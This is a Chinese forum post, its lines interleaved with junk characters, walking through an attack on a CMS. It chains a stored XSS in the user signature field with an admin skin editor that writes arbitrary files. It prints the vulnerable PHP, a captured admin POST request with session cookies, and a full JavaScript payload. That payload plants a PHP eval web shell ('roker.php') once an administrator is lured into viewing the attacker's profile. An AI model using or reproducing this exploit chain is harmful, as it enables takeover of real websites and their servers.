|
|
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题# n4 I: L5 g2 _8 \
官网已经修补了,所以重新下了源码
2 k3 @# L1 _$ y5 @因为 后台登入 还需要认证码 所以 注入就没看了。
/ H' ]6 u. a( w0 a存在 xss
8 ]) |3 d) I! M- ]2 F3 m1 s4 H. w漏洞文件 user/member/skin_edit.php# L& i, p: L/ R- Q; a$ b
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:$ B9 \4 y7 m$ s
/ T3 T6 z* y% c+ n) o
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
r0 p. Z1 e7 l4 R- k
6 v8 G; D9 q. G$ U0 E6 t' Y- b</textarea></td></tr>
0 r/ P! g* x1 J' i: Z
1 o( \9 E; R, N2 d user/do.php
3 k! B7 a1 D1 ?& Q3 U+ q( R
5 @, n# z& ?3 D4 G0 W4 \" W: e O/ y4 z* U
if($op=='zl'){ //资料
1 i( w$ i9 T# a! Y ) O4 o1 }% s/ ]
if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) $ \8 {/ D, J# Q" U6 X
exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
& U) E6 b) q, |4 ], N. D
+ m6 c! h8 C; { $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
8 {$ k: M- g: y$ b: `! f6 K+ i
3 i! | ^$ S5 [3 p CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
T! v; ]2 u( h' }, Z where CS_Name='".$cscms_name."'";- p& s3 g p/ K/ @
& B# W5 x. g/ l& [: E6 e$ N
if($db->query($sql)){
8 j7 O. ]& B# M9 h! `6 L 9 {" e( q: Q' ?$ R' P8 K
exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));: @8 C$ x8 w; ^; \: g
/ x# ?7 `" ]1 ^$ ?/ } }else{
' x# K# y! K1 z( R; }8 H) [" T
. o6 ?' _, p, @& e0 Z/ G exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));% k# m( S# {4 ]0 d) l
x s3 ?) `* H+ R
}" H0 H" x+ C- M5 _; o, M- c
5 Q- c6 g* {4 W' e
) |3 A7 q5 ?! N D+ v没有 过滤导致xss产生。
1 k/ r4 e0 T4 i8 E后台 看了下 很奇葩的是可以写任意格式文件。。
& [& ]/ W7 p# }; K抓包。。
3 F2 o! g/ L6 W: Z. o% T! q
2 A9 y" x% _& _; d1 h
9 x% z7 c8 T* V. C7 c% [9 a) Y本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
7 Z$ z+ n" b4 Y" }- d: k , V- q1 E* A. S6 b' z7 ~6 {* d
Accept: text/html, application/xhtml+xml, */*
4 s2 B9 w3 F$ b( }& z5 _2 e* I: A 4 b/ G6 M4 R0 X
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
. e9 Y0 E3 n' T2 Q1 p , U6 Y, x5 B& R& \( E+ t
Accept-Language: zh-CN
, [" {" T- X& U7 D1 @ : Y7 w7 [) X$ f
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0). c( b0 W4 i4 W% S4 F
; y+ D( w7 u) f
Content-Type: application/x-www-form-urlencoded
$ s q- |# z- T: H6 U8 y
( }$ I% J: d P- OAccept-Encoding: gzip, deflate& J* p7 i% [* {* R& q
; r4 e. O% X" [ {8 uHost: 127.0.0.1: ~2 I! m8 t0 C4 p/ Q. v( T* E
& B4 G7 X* P2 y0 U6 D* l- k8 Y% bContent-Length: 38
; s! |( s" q' a; r4 H : Y6 [( N! ~* i/ ` {# l: h/ T' K
DNT: 1
. x, P* ?+ P0 W4 K l, x
. \- {0 Y$ v7 s# ~2 nConnection: Keep-Alive( Z2 I( b7 P2 Y$ @
+ c7 w. y6 P9 e4 S! ?
Cache-Control: no-cache& P. w9 n" X8 u. m% S# v0 N) R6 I
/ R7 h/ W' m. A( H% E$ g
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
" F4 u1 {- q5 e1 U
' ]9 r0 ]" j5 \5 W8 A# s: Y# p+ @ p: C& y7 ~3 @' u! J. X( d$ v% Y) c
name=aaa.php&content=%3Cs%3E%3Ca%25%3E( D; \3 x8 K) R7 _2 A
6 K! u9 \ J7 p! E. [) j* F" H
% A( d9 g( Q2 V. X0 z. d
. ], ^8 M6 |6 L于是 构造js如下。
( y' } F! f& q: z
, m. B# F+ X- I4 o本帖隐藏的内容<script> * X6 w1 n5 u1 l, {. z
thisTHost = top.location.hostname;
8 L0 U; ] g- M; V% a, t W; H! N4 C( e
/ n' o; { F1 Y4 q* @ c1 TthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
2 I" e( Q- T) O/ A7 ^3 a9 x
, v6 ]$ R" {9 ~' {function PostSubmit(url, data, msg) {
1 P3 u+ }7 {: j4 i) S var postUrl = url;
' B4 J4 a6 i) |' ]- I
; e- A! l0 H8 U1 W, Z" D var postData = data; " T% \5 N6 n2 k. f. K% {0 g
var msgData = msg;
6 q; D9 u8 H, W" f: G( ? var ExportForm = document.createElement("FORM");
% l- O' A. v5 T+ A, W document.body.appendChild(ExportForm);
- R* _+ h! {/ { ExportForm.method = "POST"; ; i. L$ j. g1 A# } K8 g
var newElement = document.createElement("input");
& {0 k9 O# {; F0 D newElement.setAttribute("name", "name");
, W& a3 E5 t5 F& Y6 |5 F newElement.setAttribute("type", "hidden");
) F: ~- }$ A" d5 M3 x2 E% v var newElement2 = document.createElement("input");
, ~- A o6 j: o# w' p/ E newElement2.setAttribute("name", "content");
7 @6 e) d) p5 {7 |5 p; R! `2 C newElement2.setAttribute("type", "hidden");
, P6 Q+ d% @' |8 ]0 k7 U$ G1 | ExportForm.appendChild(newElement); : Q# A" @( b" z* |7 q( J7 p
ExportForm.appendChild(newElement2); 2 j5 i9 z0 c$ J
newElement.value = postData; 4 Q: ?2 R. `0 _2 p9 |& ^
newElement2.value = msgData;
/ [. y' y; {! A3 q9 u8 Y ExportForm.action = postUrl;
: I- _; _! s( N& [& f ExportForm.submit();
/ H1 ]2 O3 y0 z! O" Y( Q};
# L- m$ {0 k& r. j
% D* `0 r! F& D: t9 m$ HPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
) F2 P+ b% b$ E0 @1 a 3 J4 W9 Y' v. ]: Y. D5 `! s3 P
</script>3 U& K3 v, |6 {# w) x. N
; y, `# V& ]5 S
0 h4 U5 w; c* s4 R2 q& [5 R, y% w
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
1 f' A& y+ A" a' i& f用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)
1 c* J" h$ ^- v1 Z% b就会 在 skins\index\html\目录下生成 roker.php 一句话。 | 9 r" A* m# w2 L; c* l9 U. P# D; I
|
|